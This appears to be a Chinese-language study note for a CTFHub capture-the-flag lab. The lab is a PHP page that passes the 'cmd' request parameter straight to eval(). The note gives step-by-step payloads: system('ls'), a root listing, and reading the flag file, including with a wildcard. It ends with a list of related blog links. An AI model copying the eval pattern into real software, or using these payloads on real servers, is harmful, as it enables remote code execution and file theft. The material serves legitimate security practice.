CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
世人万千丶6 小时前
Flutter 框架跨平台鸿蒙开发 - 恐惧清单应用
学习·flutter·华为·开源·harmonyos·鸿蒙
yuzhuanhei6 小时前
Visual Studio 配置C++opencv
c++·学习·visual studio
此刻觐神7 小时前
IMX6ULL开发板学习-01(Linux文件目录和目录相关命令)
linux·服务器·学习
憧憬从前7 小时前
算法学习记录DAY2
学习
babe小鑫7 小时前
会计岗位学习数据分析的价值分析
学习·数据挖掘·数据分析
千枫s7 小时前
电脑vm虚拟机kali linux安装shannon
学习·网络安全
zjnlswd8 小时前
tkinter学习案例--笔记代码
笔记·学习
咬_咬8 小时前
go语言学习(基本数据类型)
开发语言·学习·golang·数据类型
山甫aa8 小时前
List 容器 -----C++的stl学习
开发语言·c++·学习
无聊大侠hello world8 小时前
Yu-AI-Agent 项目(AI 恋爱大师智能体) · 学习笔记
人工智能·笔记·学习